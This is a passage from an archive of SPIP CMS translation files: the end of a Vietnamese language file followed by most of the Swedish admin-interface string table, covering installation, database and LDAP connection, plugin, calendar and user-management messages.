'texte_lettre_information_2' => 'Tóm tắt các bài vở và tin ngắn đã phát hành từ ', # MODIF
// V
'ver_imprimer' => 'Kiểu dể in',
'voir_en_ligne' => 'Xem online'
);
?>
ecrire_sv.php 0000666 00000137536 15252547432 0007272 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktivera insticksmodulen',
'affichage' => 'Visa',
'aide_non_disponible' => 'Den här delen av direkthjälpen finns inte i det aktuella språket',
'auteur' => 'Redaktör',
'avis_acces_interdit' => 'Tillträde förbjudet.',
'avis_article_modifie' => 'Varning, @nom_auteur_modif@ har arbetat på den här artikeln för @date_diff@ minuter sen',
'avis_aucun_resultat' => 'Hittade inga resultat',
'avis_chemin_invalide_1' => 'Sökvägen du har angett',
'avis_chemin_invalide_2' => 'är ogiltig. Återgå till den föregående sidan och kontrollera den angivna informationen',
'avis_connexion_echec_1' => 'Anslutningen till SQL-servern misslyckades.',
'avis_connexion_echec_2' => 'Återgå till den föregående sidan och kontrollera informationen du angivit.',
'avis_connexion_echec_3' => '<b>OBS</b> På många servrar måste du <b>begära</b> aktivering av din databas innan du kan använda den. Om du inte lyckas med uppkopplingen, se till att den är aktiverad.',
'avis_connexion_ldap_echec_1' => 'Anslutning till LDAP-server misslyckades.',
'avis_connexion_ldap_echec_2' => 'Återgå till den föregående sidan och kontrollera informationen du angivit.',
'avis_connexion_ldap_echec_3' => 'Alternativt kan du välja att inte använda LDAP stöd för att importera användare.',
'avis_deplacement_rubrique' => 'Varning! Den här avdelningen innehåller @contient_breves@ notiser@scb@: om du flyttar den, markera i kryssrutan för att bekräfta.',
'avis_destinataire_obligatoire' => 'Du måste ange en mottagare innan du skickar meddelandet.',
'avis_erreur_connexion_mysql' => 'Fel på SQL-förbindelsen',
'avis_erreur_version_archive' => '<b>Varning! Filen @archive@ motsvarar en
annan SPIP-version än den du instellerad</b>
Du står inför stora svårigheter: risken att
förstöra din databas, tekniska fel för din
webbplats, etc. Skicka inte den här begäran
om import.<p>För mer information se <a href="@spipnet@">SPIP-dokumentationen</a> (På engelska).', # MODIF
'avis_espace_interdit' => '<b>Förbjudet område</b><p>SPIP är redan installerat.',
'avis_lecture_noms_bases_1' => 'Installerings-scriptet kunde inte läsa namnen på de installerade databaserna.',
'avis_lecture_noms_bases_2' => 'Antingen finns det ingen tillgänglig databas eller så är funktionen som listar
databaser inaktiverad av säkerhetsskäl (det är fallet hos många webbvärdar).',
'avis_lecture_noms_bases_3' => 'I fråga om det andra alternativet är det möjligt att en databas med ditt användarnamn kan användas:',
'avis_non_acces_message' => 'Du har inte tillgång till det här meddelandet.',
'avis_non_acces_page' => 'Du har inte tillgång till den här sidan.',
'avis_operation_echec' => 'Operationen misslyckades.',
'avis_operation_impossible' => 'Operationen omöjlig att genomföra',
'avis_probleme_archive' => 'Läsfel i filen @archive@',
'avis_suppression_base' => 'OBS! Radering av data är permanent och kan inte göras ogjord.',
'avis_version_mysql' => 'Din version av MySql (@version_mysql@) stöder inte automatisk reparation av databas-tabeller.',
// B
'bouton_acces_ldap' => 'Lägg till en LDAP-katalog >>',
'bouton_ajouter' => 'Lägg till',
'bouton_ajouter_participant' => 'LÄGG TILL EN DELTAGARE',
'bouton_annonce' => 'MEDDELANDE',
'bouton_annuler' => 'Avbryt',
'bouton_checkbox_envoi_message' => 'möjlighet att skicka ett meddelande',
'bouton_checkbox_indiquer_site' => 'Du måste ange ett namn på en webbplats',
'bouton_checkbox_signature_unique_email' => 'endast en signatur per e-postadress',
'bouton_checkbox_signature_unique_site' => 'endast en signatur per webbplats',
'bouton_demande_publication' => 'Begär att den här artikeln ska publiceras',
'bouton_desactive_tout' => 'Avaktivera alla',
'bouton_desinstaller' => 'Avinstallera',
'bouton_effacer_index' => 'Radera index',
'bouton_effacer_tout' => 'Radera ALLA',
'bouton_envoi_message_02' => 'SKICKA ETT MEDDELANDE',
'bouton_envoyer_message' => 'Färdigt meddelande: skicka',
'bouton_modifier' => 'Ändra',
'bouton_pense_bete' => 'PERSONLIG MINNESANTECKNING',
'bouton_radio_activer_messagerie' => 'Möjliggör interna meddlanden',
'bouton_radio_activer_messagerie_interne' => 'möjliggör interna meddelanden',
'bouton_radio_activer_petition' => 'Aktivera namninsamlingen',
'bouton_radio_afficher' => 'Visa',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Synas i listan över anslutna redaktörere',
'bouton_radio_desactiver_messagerie' => 'Stäng av meddelandefunktionen',
'bouton_radio_envoi_annonces_adresse' => 'Skicka meddelanden till adressen:',
'bouton_radio_envoi_liste_nouveautes' => 'Skicka lista över senaste notiser',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Inte synas i listan över anslutna redaktörere',
'bouton_radio_non_envoi_annonces_editoriales' => 'Skicka inga redaktionella meddelanden',
'bouton_radio_pas_petition' => 'Inga namninsamlingar',
'bouton_radio_petition_activee' => 'Namninsamling aktiverad',
'bouton_radio_supprimer_petition' => 'Radera namninsamlingen',
'bouton_redirection' => 'OMPEKA',
'bouton_relancer_installation' => 'Kör installationen igen',
'bouton_suivant' => 'Nästa',
'bouton_tenter_recuperation' => 'Försök till reparation',
'bouton_test_proxy' => 'Testa proxyn',
'bouton_vider_cache' => 'Töm cachen',
'bouton_voir_message' => 'Förhandsgranska meddelandet innan det godkänns',
// C
'cache_mode_compresse' => 'Cachefilerna sparas komprimerade.',
'cache_mode_non_compresse' => 'Cachefilerna sparas utan komprimering.',
'cache_modifiable_webmestre' => 'Den här parametern kan ändras av den webbansvariga.',
'calendrier_synchro' => 'Om du använder ett kalenderprogram som är kompatibelt med <b>iCal</b> kan du synkronisera det med informationen på den här webbplatsen.',
'config_activer_champs' => 'Aktivera följande fält',
'config_choix_base_sup' => 'Ge namnet på en databas på servern',
'config_erreur_base_sup' => 'SPIP har inte tillgång till de existerande databaserna',
'config_info_base_sup_disponibles' => 'Ytterligare databaser dit databasfrågor kan skickas:',
'config_info_logos' => 'Alla objekt på sajten kan kan ha sin egen logotype och dessutom en "mouseover" logotype',
'config_info_logos_utiliser' => 'Använd logotyper',
'config_info_logos_utiliser_non' => 'Använd inte logotyper',
'config_info_logos_utiliser_survol' => 'Använd "mouseover" logotyper',
'config_info_logos_utiliser_survol_non' => 'Använd inte "mouseover" logotyper',
'config_info_redirection' => 'Genom att aktivera det här valet kan du skapa virtuella artiklar, som enbart är länkar till artiklar som publicerats på andra sajter oavsett om det är SPIP-sajter eller ej.',
'config_redirection' => 'Virtuella artiklar',
'config_titre_base_sup' => 'Konfigurera ytterligare en databas',
'config_titre_base_sup_choix' => 'Välj ytterligare en databas',
'connexion_ldap' => 'ldapuppkoppling:',
'copier_en_local' => 'Kopiera till den lokala sajten',
// D
'date_mot_heures' => 'h',
// E
'email' => 'e-post',
'email_2' => 'e-post:',
'entree_adresse_annuaire' => 'Katalogens adress',
'entree_adresse_email' => 'Din e-postadress',
'entree_base_donnee_1' => 'Adress till databasen',
'entree_base_donnee_2' => '(Ofta är det samma adress som till din webbplats, ibland är det "localhost" och ibland lämnas det helt tomt.)',
'entree_biographie' => 'Kort biografi med några få ord.',
'entree_chemin_acces' => '<b>Fyll i</b> sökvägen:',
'entree_cle_pgp' => 'Din PGP-nyckel',
'entree_contenu_rubrique' => '(Några få ord som beskriver innehållet i avdelningen)',
'entree_identifiants_connexion' => 'Dina anslutningsuppgifter',
'entree_informations_connexion_ldap' => 'Fyll i det här formuläret med uppgifter om din anslutning till LDAP. Din system eller nätverks administratör kan ge dig dessa.',
'entree_infos_perso' => 'Vem är du?',
'entree_interieur_rubrique' => 'I avdelning:',
'entree_liens_sites' => '<b>Hyperlänk</b> (referens, sajt att besöka...)',
'entree_login' => 'Dina användaruppgifter',
'entree_login_connexion_1' => 'Användarupgifter för anslutningen',
'entree_login_connexion_2' => '(Är ibland samma som lösenordet för FTP-åtkomst och ibland kan det lämnas tomt)',
'entree_mot_passe' => 'Ditt lösenord',
'entree_mot_passe_1' => 'Lösenord för anslutningen',
'entree_mot_passe_2' => '(Är ibland samma som lösenordet för FTP-åtkomst och ibland kan det lämnas tomt)',
'entree_nom_fichier' => 'Skriv in filnamnet @texte_compresse@',
'entree_nom_pseudo' => 'Ditt namn eller alias',
'entree_nom_pseudo_1' => '(Ditt namn eller alias)',
'entree_nom_site' => 'Din webbplats namn',
'entree_nouveau_passe' => 'Nytt lösenord',
'entree_passe_ldap' => 'Lösenord',
'entree_port_annuaire' => 'Katalogens portnummer',
'entree_signature' => 'Signatur',
'entree_titre_obligatoire' => '<b>Title</b> [Krävs]<br />',
'entree_url' => 'Din webbplats URL',
'erreur_plugin_fichier_absent' => 'Filen saknas',
'erreur_plugin_fichier_def_absent' => 'Definitionsfilen saknas',
'erreur_plugin_nom_fonction_interdit' => 'Förbjudet namn för funktionen',
'erreur_plugin_nom_manquant' => 'plugin-namnet saknas',
'erreur_plugin_prefix_manquant' => 'Pluginens prefix odefinierad',
'erreur_plugin_tag_plugin_absent' => '<plugin> saknas i definitionsfilen',
'erreur_plugin_version_manquant' => 'Denna plugin saknar version.',
// I
'ical_info1' => 'Denna sida visar flera metoder att hålla dig informerad om aktiviteter på sajten.',
'ical_info2' => 'För mer information, tveka inte om att besöka <a href="@spipnet@">SPIP’s dokumentation</a>.', # MODIF
'ical_info_calendrier' => 'Du kan använda två kalendrar. En är en sajtkarta med alla publicerade artiklar. Den andra innehåller redaktionella meddelanden och dina senaste privata meddelanden: Den är personlig, tack vare en genererad nyckel som du kan förändra när som helst genom att byta lösenord.',
'ical_methode_http' => 'Nerladdning',
'ical_methode_webcal' => 'Synkronisering (webcal://)',
'ical_texte_js' => 'En rad javascript tillåter dig att, väldigt enkelt och på vilken sajt du vill, visa en lista på de senaste artiklarna publicerade på den här sajten.',
'ical_texte_prive' => 'Den här kalendern som är personlig, innnehåller dina egna redaktionella händelser på den här sajten (uppgifter, egna möten, inlämnade artiklar och nyheter...).',
'ical_texte_public' => 'Den här kalendern låter dig följa den publika aktiviteten på sajten (publicerade artiklar och nyheter).',
'ical_texte_rss' => 'Du kan syndikerar de senaste nyheterna på den är sajten i vilken XML/RSS-läsare som helst. Det är samma format som gör det möjligt att läsa de senaste nyheterna på andra sajter som använder ett kompatibelt format. (syndikerade sajter).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'E-postlista',
'ical_titre_rss' => 'Syndikeringsfiler',
'icone_activer_cookie' => 'Sätt en cookie',
'icone_admin_plugin' => 'Hantera plugin’s',
'icone_afficher_auteurs' => 'Visa redaktörer',
'icone_afficher_visiteurs' => 'Visa besökare',
'icone_arret_discussion' => 'Avsluta diskussionen',
'icone_calendrier' => 'Kalender',
'icone_creer_auteur' => 'Skapa en ny redaktör och koppla honom (henne) till den här artikeln',
'icone_creer_mot_cle' => 'Skapa ett nytt nyckelord och länka det till artikeln',
'icone_creer_mot_cle_rubrique' => 'Skapa ett nytt nyckelord och koppla det till den här avdelningen',
'icone_creer_mot_cle_site' => 'Skapa ett nytt nyckelord och koppla det till den här sajten',
'icone_creer_rubrique_2' => 'Skapa en ny avdelning',
'icone_envoyer_message' => 'Sänd detta meddelande',
'icone_modifier_article' => 'Editera artikeln',
'icone_modifier_message' => 'Editera meddelandet',
'icone_modifier_rubrique' => 'Editera avdelningen',
'icone_relancer_signataire' => 'Kontakta personen igen',
'icone_retour' => 'Tillbaka',
'icone_retour_article' => 'Tillbaka till artikeln',
'icone_supprimer_cookie' => 'Radera cookien',
'icone_supprimer_rubrique' => 'Radera den här avdelningen',
'icone_supprimer_signature' => 'Radera den här signaturen',
'icone_valider_signature' => 'Validera signaturen',
'image_administrer_rubrique' => 'Du kan hantera den här avdelningen',
'info_1_article' => '1 artikel',
'info_1_site' => '1 sajt',
'info_activer_cookie' => 'Du kan aktivera en <b>administrationscookie</b>, som tillåter dig
att enkelt växla mellan den publika och den privata delen.',
'info_admin_gere_rubriques' => 'Den här administratören hanterar följande avdelningar:',
'info_admin_gere_toutes_rubriques' => 'Den här administratören hanterar <b>alla avdelningar</b>.', # MODIF
'info_administrateur' => 'Administratör',
'info_administrateur_1' => 'Administratör',
'info_administrateur_2' => 'på sajten (<i>använd med försiktighet</i>)',
'info_administrateur_site_01' => 'Om du är en sajt-administratör, var vänlig',
'info_administrateur_site_02' => 'klicka på den här länken',
'info_administrateurs' => 'Administratörer',
'info_administrer_rubrique' => 'Du kan hantera den här avdelningen',
'info_adresse' => 'till adressen:',
'info_adresse_url' => 'Din sajts publika URL',
'info_afficher_visites' => 'Visa besök till:',
'info_aide_en_ligne' => 'SPIP Online Hjälp',
'info_ajout_image' => 'När du lägget till filer som bifogade dokument till en artikel,
kan SPIP automatiskt skapa miniatyrer av de
inlagda bilderna. Det tillåter till exempel
att man automatiskt skapar ett galleri eller en portfolio.',
'info_ajout_participant' => 'Följande deltagare har lagts till:',
'info_ajouter_rubrique' => 'lägg till en annan avdelning:',
'info_annonce_nouveautes' => 'Senaste nyheterna',
'info_anterieur' => 'föregående',
'info_article' => 'artikel',
'info_article_2' => 'artiklar',
'info_article_a_paraitre' => 'Fördaterade artiklar som kommer att publiceras',
'info_articles_02' => 'artiklar',
'info_articles_2' => 'Artiklar',
'info_articles_auteur' => 'Den här redaktörens artiklar',
'info_articles_trouves' => 'Artiklar hittade',
'info_articles_trouves_dans_texte' => 'Artiklar hittade (i texten)',
'info_attente_validation' => 'Dina artiklar som väntar på validering',
'info_aujourdhui' => 'idag:',
'info_auteur_message' => 'AVSÄNDARE:',
'info_auteurs' => 'Redaktörer',
'info_auteurs_par_tri' => 'Redaktörer@partri@',
'info_auteurs_trouves' => 'Redaktörer funna',
'info_authentification_externe' => 'Extern autentifiering',
'info_avertissement' => 'Varning',
'info_barre_outils' => 'med dess verktygsfält?',
'info_base_installee' => 'Databasen är skapad',
'info_chapeau' => 'Ingress',
'info_chapeau_2' => 'Introduktion:',
'info_chemin_acces_1' => 'inställningar: <b>sökväg i katalogen</b>',
'info_chemin_acces_2' => 'Från och med nu måste du konfigurera sökvägen till katalogen information. Det är nödvändigt för att kunna läsa användarprofilerna som är sparade i katalogen.',
'info_chemin_acces_annuaire' => 'Inställningar: <b>Sökväg i katalogen</b>',
'info_choix_base' => 'Tredje steget:',
'info_code_acces' => 'Glöm inte ditt eget lösenord!',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'Om den här adressen är en mailing lista, kan du under adressen visa var man kan registrera sig. Det kan vara en URL (till exempel en webbsida där man kan registrera sig), eller en e-postadress med en speciell ärenderad (till exempel: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Du kan anmäla dig till sajtens nyhetsbrev. Du kommer då att automatiskt få meddelanden om artiklar och nyheter som laddats upp för publicering.',
'info_confirmer_passe' => 'Bekräfta ditt nya lösenord:',
'info_connexion_base' => 'Försöker att ansluta till databasen',
'info_connexion_ldap_ok' => 'Din förbindelse till LDAP-servern lyckades.</b><p> Du kan gå vidare till nästa steg.</p>', # MODIF
'info_connexion_mysql' => 'Din databasförbindelse',
'info_connexion_ok' => 'Förbindelsen lyckades.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Innehåll i artiklarna',
'info_creation_paragraphe' => '(För att skapa stycken, räcker det att lämna tomma rader.)', # MODIF
'info_creation_rubrique' => 'Innan du kan skriva artiklar,<br /> måste du skapa åtminstone en avdelning.<br />',
'info_creation_tables' => 'Skapar databastabeller',
'info_creer_base' => '<b>Skapa</b> en ny databas:',
'info_dans_rubrique' => 'I avdelningen:',
'info_date_publication_anterieure' => 'Datum för tidigare publicering:',
'info_date_referencement' => 'DATUM DÅ SAJTEN LÄNKADES:',
'info_derniere_etape' => 'Klart!',
'info_derniers_articles_publies' => 'Dina senaste publicerade artiklar',
'info_desactiver_messagerie_personnelle' => 'Du kan aktivera eller avaktivera dina personliga meddelanden på den här sajten.',
'info_descriptif' => 'Beskrivning:',
'info_desinstaller_plugin' => 'raderar data och avaktiverar tillägget',
'info_discussion_cours' => 'Pågående diskussion',
'info_ecrire_article' => 'Innan du kan skriva artiklar, ymåste du skapa minst en avdelning.',
'info_email_envoi' => 'Avsändaren mailadress (frivilligt)',
'info_email_envoi_txt' => 'Skriv in avsändarens e-postadress som används när man sänder mejlen (som default används mottagarens adress som avsändaradress) :',
'info_email_webmestre' => 'Webmasterns mejladress (frivillig)', # MODIF
'info_entrer_code_alphabet' => 'Skriv in koden för teckenuppsättningen som skall användas:',
'info_envoi_email_automatique' => 'Automatisk e-post',
'info_envoyer_maintenant' => 'Skicka nu',
'info_etape_suivante' => 'Gå till nästa steg',
'info_etape_suivante_1' => 'Du kan fortsätta till nästa steg.',
'info_etape_suivante_2' => 'Du kan fortsätta till nästa steg.',
'info_exportation_base' => 'Exportera databasen till @archive@',
'info_facilite_suivi_activite' => 'För att underlätta att följa de redaktionella;
aktiviteterna, kan SPIP skicka medddelanden via e-post, exempelvis till en maillista för redaktörer,
angående publiceringar och godkännanden.',
'info_fichiers_authent' => 'Lösenordsfil ".htpasswd"',
'info_gauche_admin_effacer' => '<b>Endast administratörer har tillgång till denna sida.</b><p> Den ger tillgång till tekniska underhållsrutiner av olika slag. En del av dem kommer, om de används, att kräva FTP-tillgång till Webservern för autentifiering.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>', # MODIF
'info_gauche_auteurs' => 'Här hittar du alla redaktörer på sajten.
Status på var och en av dem visas av färgen på ikonen (administratör = grön; redaktör = gul).',
'info_gauche_auteurs_exterieurs' => 'Externa redaktörer utan behörighet på sajten, visas med en blå ikon; raderade redaktörer med en soptunna.', # MODIF
'info_gauche_numero_auteur' => 'REDAKTÖR NUMMER:',
'info_generation_miniatures_images' => 'Skapande av tumnagelbilder.',
'info_gerer_trad' => 'Aktivera översättningslänkar?',
'info_hebergeur_desactiver_envoi_email' => 'Vissa webhotell avaktiverar automatisk mejl
på deras servrar. Om så är fallet kan följande
funktioner hos SPIP inte användas.',
'info_hier' => 'I går:',
'info_historique_activer' => 'Aktivera versionshantering',
'info_historique_affiche' => 'Visa denna version',
'info_historique_comparaison' => 'jämför',
'info_historique_desactiver' => 'Avaktivera versionshantering',
'info_historique_texte' => 'Versionshantering tillåter dig att se förändringar i och tillägg till en artikel och visar skillnader mellan versioner.',
'info_identification_publique' => 'Din publika identitet...',
'info_image_process' => 'Välj den bästa metoden för att skapa miniatyrer genom att klicka på motsvarande bild.',
'info_image_process2' => '<b>OBS!.</b> <i>Om du inte kan se någon bild, så är din server inte konfigurerad för att använda sådana verktyg. Om du vill använda dessa finesser så kontakta din leverantörs tekniska support och be dem installera utökningarna för «GD» eller «Imagick».</i>', # MODIF
'info_informations_personnelles' => 'Personlig information',
'info_inscription_automatique' => 'Automatisk registreing av nya redaktörer',
'info_jeu_caractere' => 'Sajtens teckenuppsättning',
'info_jours' => 'dagar',
'info_laisser_champs_vides' => 'Lämna dessa fält tomma)',
'info_langues' => 'Sajtens språk',
'info_lien_hypertexte' => 'Hyperlänk:',
'info_liste_redacteurs_connectes' => 'Inlogggade redaktörer',
'info_login_existant' => 'Användarnamnet finns redan.',
'info_login_trop_court' => 'Användarnamnet är för kort.',
'info_logos' => 'Logotyperna',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'I samma avdelning',
'info_message' => 'Meddelande från',
'info_message_efface' => 'MEDDELANDET RADERAT',
'info_message_en_redaction' => 'utkorg',
'info_message_technique' => 'Tekniskt meddelande:',
'info_messagerie_interne' => 'Internmeddelande',
'info_mise_a_niveau_base' => 'SQL database upgradering',
'info_mise_a_niveau_base_2' => '{{Warning!}} Du har installerat {äldre}
SPIP filer än de som redan
varit installerade på sajten: Du riskerar att förlora databasen
och ha en sajt som inte längre fungerar.<br />{{återinstallera
SPIP filerna.}}',
'info_modifier_auteur' => 'Editera detaljer för redaktören:',
'info_modifier_rubrique' => 'Editera avdelningen:',
'info_modifier_titre' => 'Editera: @titre@',
'info_mon_site_spip' => 'Min SPIP-sajt',
'info_mot_sans_groupe' => '(Nyckelord utan en grupp...)',
'info_moteur_recherche' => 'Integrerad sökmotor',
'info_moyenne' => 'genomsnitt:',
'info_multi_articles' => 'Aktivera språkmenyen för artiklar?',
'info_multi_cet_article' => 'Den här artikelns språk:',
'info_multi_langues_choisies' => 'Var vänlig, välj tillgängliga språk för redaktörerna bland språken nedan.
Språk som redan används på din sajt (högst upp på listan) kan inte avaktiveras.',
'info_multi_rubriques' => 'Aktivera språkmenyn för avdelningar?',
'info_multi_secteurs' => '... bara för avdelningarna i roten?',
'info_nom' => 'Namn',
'info_nom_destinataire' => 'Mottagarens namn',
'info_nom_site' => 'Din sajts namn',
'info_nombre_articles' => '@nb_articles@ artiklar,',
'info_nombre_partcipants' => 'DELTAGARE I DISKUSSIONEN:',
'info_nombre_rubriques' => '@nb_rubriques@ avdelningar,',
'info_nombre_sites' => '@nb_sites@ sajter,',
'info_non_deplacer' => 'Flytta inte...',
'info_non_envoi_liste_nouveautes' => 'Skicka inte listan med senaste nyheterna',
'info_non_modifiable' => 'kan inte förändras',
'info_non_suppression_mot_cle' => 'Jag vill inte radera nyckelordet.',
'info_notes' => 'Fotnoter',
'info_nouveaux_message' => 'Nya meddelanden',
'info_nouvel_article' => 'Ny artikel',
'info_nouvelle_traduction' => 'Ny översättning:',
'info_numero_article' => 'ARTIKEL NUMMER:',
'info_obligatoire_02' => '[Krävs]', # MODIF
'info_option_accepter_visiteurs' => 'Tillåt besökare registrera sig på den publika delen',
'info_option_faire_suivre' => 'Vidarebefordra forummeddelanden till artikelredaktören',
'info_option_ne_pas_accepter_visiteurs' => 'Avvisa besökarregistrering',
'info_options_avancees' => 'AVANCERADE INSTÄLLNINGAR',
'info_ortho_activer' => 'Aktivera stavningskontrollen.',
'info_ortho_desactiver' => 'Avaktivera stavningskontrollen.',
'info_ou' => 'eller...',
'info_page_interdite' => 'Förbjuden sida',
'info_par_nom' => 'efter namn',
'info_par_nombre_article' => 'efter antal artiklar',
'info_par_statut' => 'efter status',
'info_par_tri' => '’(efter @tri@)’',
'info_passe_trop_court' => 'lösenordet är för kort.',
'info_passes_identiques' => 'De två lösenorden är inte identiska.',
'info_pense_bete_ancien' => 'Dina gamla meddelanden', # MODIF
'info_plus_cinq_car' => 'mer än 5 tecken',
'info_plus_cinq_car_2' => '(Mer än 5 tecken)',
'info_plus_trois_car' => '(Mer än 3 tecken)',
'info_popularite' => 'popularitet: @popularite@; besök: @visites@',
'info_popularite_4' => 'popularitet: @popularite@; besök: @visites@',
'info_post_scriptum' => 'Postscript',
'info_post_scriptum_2' => 'PS:',
'info_pour' => 'för',
'info_preview_admin' => 'Endast administratörer har tillgång till förhandsvisning',
'info_preview_comite' => 'Alla redaktörer har tillgång till förhandsvisning',
'info_preview_desactive' => 'Förhandsvisning är avaktiverad',
'info_procedez_par_etape' => 'Var vänlig, fortsätt steg för steg',
'info_procedure_maj_version' => 'Uppdateringsproceduren skall köras för att
anpassa databasen till den nya versionen av SPIP.',
'info_proxy_ok' => 'Testen av proxy lyckades.',
'info_ps' => 'P.S.',
'info_publier' => 'publicera',
'info_publies' => 'Dina onlinepublicerade artiklar',
'info_question_accepter_visiteurs' => 'Om sajtens template tillåter besökare att registrera sig utan att gå in i den privata delen, var vänlig och aktivera följande option:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptez-vous les inscriptions de nouveaux rédacteurs à
partir du site public ? Si vous acceptez, les visiteurs pourront s’inscrire
depuis un formulaire automatisé et accéderont alors à l’espace privé pour
proposer leurs propres articles. <blockquote><i>Lors de la phase d’inscription,
les utilisateurs reçoivent un courrier électronique automatique
leur fournissant leurs codes d’accès au site privé. Certains
hébergeurs désactivent l’envoi de mails depuis leurs
serveurs : dans ce cas, l’inscription automatique est
impossible.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Vill du använda SPIPŽs integrerade sökfunktion?
(Att stänga av den ökar systemets prestanda.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Sajtens bas',
'info_recharger_page' => 'Var vänlig och uppdatera sidan om en liten stund.',
'info_recherche_auteur_a_affiner' => 'För många resultat för "@cherche_auteur@"; Var vänlig och avgränsa sökningen mer.',
'info_recherche_auteur_ok' => 'Flera redaktörer hittades för "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Inga resultat hittades för "@cherche_auteur@".',
'info_recommencer' => 'Var vänlig och försök igen.',
'info_redacteur_1' => 'Redaktör',
'info_redacteur_2' => 'för tillgång till den privata delen (<i>rekommenderas</i>)',
'info_redacteurs' => 'Redaktörer',
'info_redaction_en_cours' => 'UNDER ARBETE',
'info_redirection' => 'Ompekning',
'info_refuses' => 'Refuserade artiklar',
'info_reglage_ldap' => 'inställningar: <b>anpassar LDAP import</b>',
'info_renvoi_article' => '<b>Ompekning.</b> Den här artikeln pekar om till:',
'info_reserve_admin' => 'Enbart administratörer kan förändra adressen.',
'info_restreindre_rubrique' => 'Begränsa administrationen till avdelningen:',
'info_resultat_recherche' => 'Sökresultat:',
'info_rubriques' => 'Avdelningar',
'info_rubriques_02' => 'avdelningar',
'info_rubriques_trouvees' => 'Hittade avdelningar',
'info_rubriques_trouvees_dans_texte' => 'Avdelningar funna (i texten)',
'info_sans_titre' => 'Utan titel',
'info_selection_chemin_acces' => '<b>Välj</b> åtkomstväg i katalogen:',
'info_signatures' => 'underskrifter',
'info_site' => 'Sajt',
'info_site_2' => 'sajt:',
'info_site_min' => 'sajt',
'info_site_reference_2' => 'Länkad sajt',
'info_site_web' => 'WEBBSAJT:', # MODIF
'info_sites' => 'sajter',
'info_sites_lies_mot' => 'Länkade sajter knutna till detta nyckelord',
'info_sites_proxy' => 'Använder en proxy',
'info_sites_trouves' => 'Hittade sajter',
'info_sites_trouves_dans_texte' => 'Hittade sajter (i texten)',
'info_sous_titre' => 'Undertitel:',
'info_statut_administrateur' => 'Administratör',
'info_statut_auteur' => 'Redaktörens status:', # MODIF
'info_statut_auteur_a_confirmer' => 'Registreringar som skall godkännas',
'info_statut_auteur_autre' => 'Annan status:',
'info_statut_efface' => 'Raderad',
'info_statut_redacteur' => 'Redaktör',
'info_statut_utilisateurs_1' => 'Startinställningar för importerade användare',
'info_suivi_activite' => 'Följ upp aktiviteten på sajten',
'info_surtitre' => 'Övertitel:',
'info_syndication_integrale_1' => 'Din sajt publiceras RSS-filer för syndikering (Se <a href="@url@">@titre@</a>).',
'info_syndication_integrale_2' => 'Vill du skicka hela artiklar eller bara en sammanfattning på ett par hundra tecken?',
'info_table_prefix' => 'Det är möjligt att byta prefix i databastabellernas namn. (Du behöver göra det om di installerar flera sajter i samma databas). Prefixet måste skrivas utan accenter, med versaler utan mellanslag.',
'info_taille_maximale_vignette' => 'Maximal storlek på miniatyrer som skapats av systemet:',
'info_terminer_installation' => 'Du kan nu avsluta installationsprocessen.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Förklarande text',
'info_texte_long' => '(Texten är lång: Den kommer att synas i flera delar som sedan sammanfogas efter validering.)',
'info_texte_message' => 'Texten i ditt meddelande:', # MODIF
'info_texte_message_02' => 'Texten i ditt meddelande',
'info_titre' => 'Titel:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Alla artiklar under arbete',
'info_tous_articles_presents' => 'Alla artiklar som publicerats i den här avdelningen',
'info_tous_les' => 'alla:',
'info_tous_redacteurs' => 'meddelande till alla redaktörer',
'info_tout_site' => 'Hela sajten',
'info_tout_site2' => 'Artikeln har inte blivit översatt till det här språket.',
'info_tout_site3' => 'Artikeln har blivit översatt till det hör språket men vissa förändringar har gjorts senare i orginalartikeln. Översättningen behöver uppdateras.',
'info_tout_site4' => 'Artikeln har blivit översatt till det här språket och översättningen är aktuell.',
'info_tout_site5' => 'Orginalartikeln.',
'info_tout_site6' => '<b>OBS:</b> bara orginalartiklarna visas.
Översättningarna är länkade till orginalet
med en färg som visar deras status:',
'info_travail_colaboratif' => 'Gemensamt arbete på artiklar',
'info_un_article' => 'en artikel,',
'info_un_site' => 'En sajt,',
'info_une_rubrique' => 'en avdelning,',
'info_une_rubrique_02' => '1 avdelning',
'info_url' => 'URL:',
'info_url_site' => 'SAJTEN’S URL:',
'info_urlref' => 'Hyperlänk:',
'info_utilisation_spip' => 'SPIP är nu färdig att användas..',
'info_visites_par_mois' => 'Besökare per månad:',
'info_visiteur_1' => 'Besökare',
'info_visiteur_2' => 'på den publika delen',
'info_visiteurs' => 'Besökare',
'info_visiteurs_02' => 'Beökare på den publika delen',
'install_adresse_base_hebergeur' => 'Databasadress tillhandahållen av webbhotellet',
'install_echec_annonce' => 'Den här installationen kommer förmodligen inte att fungera, alternativt resulterar den i en sajt med reducerad funktionalitet ...',
'install_extension_mbstring' => 'SPIP fungerar inte med:',
'install_extension_php_obligatoire' => 'SPIP kräver ett tillägg till php:',
